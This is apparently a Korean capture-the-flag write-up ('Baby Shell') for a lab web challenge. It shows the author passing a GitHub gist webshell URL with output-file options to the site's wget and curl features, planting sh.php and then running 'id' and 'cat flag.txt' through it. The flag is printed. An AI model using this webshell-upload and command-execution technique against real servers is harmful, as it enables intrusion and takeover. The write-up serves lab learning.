



Baby Shell

Made by smart_kang

1. Wget을 이용한 웹셸 업로드

Simple webshell 검색



simple webshell github

전체 이미지 동영상 뉴스 쇼핑 더보기


검색결과 약 144,000개 (0.33초)

https://gist.github.com > ...

easy-simple-php-webshell.php · GitHub

GitHub Gist: instantly share code, notes, and snippets.

이 페이지를 3번 방문했습니다. 최근 방문 날짜: 23. 1. 11

 <https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php>

해당 주소를 다음과 같이 입력하면 서버에 웹셸이 업로드 된다.

```
https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php -O sh.php
```

IP, HTTPS, FTP 프로토콜을 이용해 웹서버에서 파일을 다운

`./webshell.php -O sh.php`

Exec

```
--2023-01-12 12:27:45-- https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-si
Resolving gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 300 [text/plain]
Saving to: 'sh.php'

  0K                                     100% 19.7M=0s

2023-01-12 12:27:46 (19.7 MB/s) - 'sh.php' saved [300/300]
```

← → ↻ ⚠ 주의 요함 | web.isangxcaution.xyz:20400/sh.php?cmd=id

Execute

uid=33(www-data) gid=33(www-data) groups=33(www-data)

← → ↻ ⚠ 주의 요함 | web.isangxcaution.xyz:20400/sh.php?cmd=cat+flag.txt

Execute

lxC{D0nt_mak3_us3r_t0_wr1t3_f1l3_t0_s3rv3r}

2. curl을 이용한 웹셸 업로드

```
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-p
hp-webshell.php -o sh.php
```

← → ↻ ⚠ 주의 요함 | web.isangxcaution.xyz:20400/curl.php?data=https%3A%2F%2Fgist.githubusercontent.com%2Fjoswr1ght%2F22f40787de19d80d110b37fb79ac3985%2Fraw%2F5000...

Linux Command Practice Ping Wget Curl

CURL

curl(client url) 명령어는 지원되는 프로토콜을 이용하여 서버로 데이터를 전송하거나 다운받도록 해주는 리눅스 명령어 유틸리티 입니다.
wget은 명령어의 실행 결과를 파일로 저장하지만, curl은 쉘로 결과를 출력합니다.

Deprecated: htmlentities(): Passing null to parameter #1 (\$string) of type string is deprecated in /var/www/html/curl.php on line 38

URL Exec

← → ↻ ⚠ 주의 요함 | web.isangxcaution.xyz:20400/sh.php?cmd=id

 Execute

uid=33(www-data) gid=33(www-data) groups=33(www-data)

← → ↻ ⚠ 주의 요함 | web.isangxcaution.xyz:20400/sh.php?cmd=cat+flag.txt

 Execute

lxC{D0nt_mak3_us3r_t0_wr1t3_f1l3_t0_s3rv3r}